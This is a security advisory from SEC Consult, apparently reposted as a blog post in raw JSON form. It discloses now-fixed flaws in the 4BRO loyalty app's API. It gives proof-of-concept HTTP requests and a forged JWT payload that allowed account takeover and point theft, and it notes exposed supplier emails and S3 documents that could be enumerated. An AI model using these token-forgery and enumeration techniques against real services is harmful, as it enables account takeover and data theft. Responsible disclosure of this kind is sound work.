SEC Consult Vulnerability Lab Security Advisory < 20240522-0 >
=======================================================================
title: Broken access control & API Information Exposure
product: 4BRO App
vulnerable version: before 2024-04-17
fixed version: 2024-04-17
CVE number: –
impact: Critical
homepage: https:\/\/www.4bro.de
found: 2023-05-07
by: Max Rull (Office Bochum)
SEC Consult Vulnerability Lab<\/p>\n
An integrated part of SEC Consult, an Eviden business
Europe | Asia<\/p>\n
https:\/\/www.sec-consult.com<\/p>\n
=======================================================================<\/p>\n
Vendor description:
——————-
“4BRO is a German company known for producing iced tea beverages. The brand offers
a variety of flavors, including unique combinations such as peach, bubblegum,
and watermelon mint. 4BRO emphasizes modern and appealing packaging, targeting
a younger demographic. The company promotes its products through various platforms
and incentivizes customer loyalty with their app, which allows users to collect
points for rewards. The company’s headquarters is located in Germany, and their
products are widely available both online and in retail stores.”<\/p>\n
Source: https:\/\/www.4bro.de<\/p>\n
Business recommendation:
————————
The vendor has fixed the security issues in the API server as of 2024-04-17.<\/p>\n
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.<\/p>\n
Vulnerability overview\/description:
———————————–
1) Broken access control via IDOR in 4BRO app API
An IDOR vulnerability (Insecure Direct Object Reference) allows an attacker
to change the username in the Bearer token used for authentication in the 4BRO app.
This leads to account takeover as a result of broken access control (poor Bearer
token verification). Attackers are able to access all data or Bro points (“broins”)
from other users.<\/p>\n
2) API Information Exposure
When opening the app as an unauthenticated user, the 4BRO app loads JSON data
from a publicly available API endpoint containing sensitive data like e-mail
addresses of employees, internal invoices, a CV including personal information,
a gift card etc.<\/p>\n
Proof of concept:
—————–
1) Broken access control via IDOR in 4BRO app API
When logging in into the 4BRO app, the server returns a JWT (JSON Web Token).
The “login” HTTP request looks like this:
——————————————————————————–
POST \/api\/user\/signin HTTP\/2
Host: adminpanel.4bro.de
Content-Type: application\/json
[…]\n
{“email”:”<login email>”,”password”:”<login password>”}
——————————————————————————–<\/p>\n
The server responds with a JWT used for authentication and additional
account-related data:
——————————————————————————–
HTTP\/2 200 OK
Content-Type: application\/json; charset=utf-8
[…]\n
{
“token”: “<JWT here>”,
“userData”: {
“isBlocked”: false,
“_id”: “[…]”,
“userType”: “USER”,
“email”: “<login email>”,
“broins”: 0,
“deviceId”: null,
“userCreationDate”: “2023-XX-XXTXX:XX:XX.XXXZ”,
“address”: [{
“_id”: “[…]”,
“streetName”: “[…]”,
“streetNumber”: “[…]”,
“postalcode”: “[…]”,
“city”: “[…]”,
“firstName”: “[…]”,
“lastName”: “[…]”,
“country”: “at”
}
],
“ratings”: [],
“__v”: 0,
“pushToken”: “[…]”,
“telekomUUID”: “[…]”
}
}
——————————————————————————–<\/p>\n
Because the JWT is only base64-encoded, it is easy to decode the JWT’s
header and payload as clear text using JWT decoders like https:\/\/token.dev\/:
——————————————————————————–
Header:
{
“kid”: “[…]”,
“alg”: “RS256”
}
——————————————————————————–
Payload:
{
“sub”: “[…]”,
“event_id”: “[…]”,
“token_use”: “access”,
“scope”: “aws.cognito.signin.user.admin”,
“auth_time”: 1683565567,
“iss”: “https:\/\/cognito-idp.eu-central-1.amazonaws.com\/[…]”,
“exp”: 1683569167,
“iat”: 1683565567,
“jti”: “[…]”,
“client_id”: “[…]”,
“username”: “<login email>”
}
——————————————————————————–<\/p>\n
The payload of the JWT contains multiple values indicating that AWS Cognito is in use.
By changing the “username” value of the JWT payload to a victim email, it is possible
to use the modified JWT for authenticating as the victim. The victim should already
have a normally registered account in the 4BRO app. By trial and error, it turns out
that even the following modified JWT payload gets accepted by the server:
——————————————————————————–
{
“sub”: “0”,
“event_id”: “0”,
“token_use”: “access”,
“scope”: “aws.cognito.signin.user.admin”,
“auth_time”: 0,
“iss”: “”,
“exp”: 0,
“iat”: 0,
“jti”: “0”,
“client_id”: “0”,
“username”: “<login email>”
}
——————————————————————————–<\/p>\n
Meanwhile, the “kid” property in the JWT header must be a valid value, but can belong
to any other already existing 4BRO app account. The JWT signature can be the same
and does not get verified at all.<\/p>\n
Using the modified JWT, all API methods supported by the 4BRO app can be executed.
Because the server only checks the “username” property in the JWT payload and does
slim to none JWT verification, the server thinks that the request came from the
account associated with the login email contained in the “username” property.<\/p>\n
This way, sensitive data such as the current “broin” balance, full user data as seen
in the login response, previous transactions, redeemed vouchers and goodies etc.
can be accessed without restrictions, using the 4BRO API. Also, the “sending broins”
action can be performed so that earned “broins” could be transferred to an attacker’s
account balance.<\/p>\n
2) API Information Exposure
By monitoring the 4BRO app’s requests over a proxy, it can be observed that
the following HTTP request is made when opening the “Goodies” section of the app:
——————————————————————————–
GET \/api\/goodies?pageSize=1000 HTTP\/2
Host: adminpanel.4bro.de
[…]——————————————————————————–<\/p>\n
The response is a JSON object containing all goodies that are or were at some point
available in the 4BRO app:
——————————————————————————–
HTTP\/2 200 OK
Content-Type: application\/json; charset=utf-8
Content-Length: 327138
[…]\n
{
“goodiesList”: [{
“_id”: “61950603005c650530b63aac”,
“name”: “1x 4BRO Getr\u00e4nk Imbiss”,
“longDescription”: “[…]”,
“shortDescription”: “Auf unseren Nacken!”,
“imagePath”:
“https:\/\/broappasset-prod.s3.eu-central-1.amazonaws.com\/dev\/goodies\/app_kachel_food_256x256.jpg”,
“category”: “Food”,
“quantity”: 999999999999808,
“costOfGoodie”: 250,
“supplier”: “<email removed>”,
“totalGoodies”: 999999999999861,
“goodieAvailableTime”: “Unlimited”,
“deliveryMethod”: “partnerCoupon”,
“isNewGoodie”: false,
“inhouseAppVoucherUrl”:
“https:\/\/broappasset-prod.s3.eu-central-1.amazonaws.com\/dev\/inhouseAppVouchers\/undefined”,
“__v”: 1,
“rating”: {
“value”: 3.991869918699184,
“total”: 123
},
“forceGoodie”: “true”,
“goodieAvailableEndTime”: null,
“goodieAvailableStartTime”: null,
“restriction”: [],
“hidden”: false,
“slashedCostOfGoodie”: null
},{
[…]},
[…]}
],
“goodieCount”: 371
}
——————————————————————————–<\/p>\n
This JSON object contains already sensitive data such as the goodie supplier’s email
addresses. Out of the 371 goodies, 36 of those have a URL to a PDF file contained
within the “inhouseAppVoucherUrl” property. Because these files are hosted on an
AWS S3 bucket, everyone can access these documents without authentication.<\/p>\n
These documents seem to contain various sensitive company internal and personal
information.<\/p>\n
While discovering vulnerability 1), we found that old gift codes were also stored as
PDF files on the AWS S3 bucket. The names of the gift code PDF files indicate that
there may be more similarly named documents (IDOR) which could be detected in an
automated way. This could be leveraged to find additional gift code PDF files stored
on the AWS S3 bucket.<\/p>\n
Vulnerable \/ tested versions:
—————————–
The following app version has been tested and downloaded through Google Play store,
which was the most recent version available at the time of the test:
* 3.14.7<\/p>\n
Because the vulnerability is actually server-side within the API, the iOS app was
also affected at the time the vulnerabilities were discovered.<\/p>\n
Vendor contact timeline:
————————
2023-06-12: Contacting vendor through broservice@4bro.de (owner) and info@dev5310.com
(developers according to Google Play store)
2023-06-15: Vendor asks about the risks of the identified vulnerabilities and which
parts of the application are affected and whether any costs would arise
before they provide us with a security contact.
2023-06-16: Detailed answer regarding risk estimation, responsible disclosure and
that no costs are involved.
2023-06-19: Vendor requests a phone conference, scheduled for 21st June.
2023-06-21: Clarifying responsible disclosure, explaining vulnerabilities and next
steps in phone call. Providing security advisory to vendor.
2023-06-29: Vendor has sent the advisory to the developer team for evaluation
and will notify SEC Consult about the release of the security patch.
2023-08-18: Asking for a status update.
2023-08-31: It is planned to release an Android\/iOS app update end of September
2023-09-18: Vendor needs to postpone update, no new date available.
2023-11-08: Asking for a status update; no response.
2023-11-21: Asking for a status update.
2023-12-11: Vendor response, fix is available in test environment, production
will be fixed by end of this year.
2024-01-24: Asking for a status update; no response.
2024-02-12: Asking for a status update.
2024-02-12: Vendor is still waiting for a response from their IT.
2024-04-17: Asking for a status update.
2024-04-17: Vendor states that the vulnerabilities have been fixed.
2024-04-17: Asking for the fix date, whether an app update was needed for applying
the fix, and the fixed app version. No response.
2024-05-13: Asking vendor again about fixed version, etc., setting preliminary release
date to 2024-05-21. No response.
2024-05-22: Release of security advisory<\/p>\n
Solution:
———
The vendor implemented a fix in the affected API server as of 2024-04-17.
An app update on Android or iOS is not required to apply the fix.<\/p>\n
Workaround:
———–
None<\/p>\n
Advisory URL:
————-
https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia<\/p>\n
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https:\/\/sec-consult.com\/contact\/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Mail: security-research at sec-consult dot com
Web: https:\/\/www.sec-consult.com
Blog: https:\/\/blog.sec-consult.com
Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n
EOF M. Rull \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"
SEC Consult Vulnerability Lab Security Advisory < 20240522-0 >=======================================================================title: Broken access control & API Information Exposureproduct: 4BRO Appvulnerable version: before 2024-04-17fixed version: 2024-04-17CVE number: –impact: Criticalhomepage: https:\/\/www.4bro.defound: 2023-05-07by: Max Rull (Office Bochum)SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden businessEurope | Asia https:\/\/www.sec-consult.com ======================================================================= Vendor description:——————-“4BRO is a German company known …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57043","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57043","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57043"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57043\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57043"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57043"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57043"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}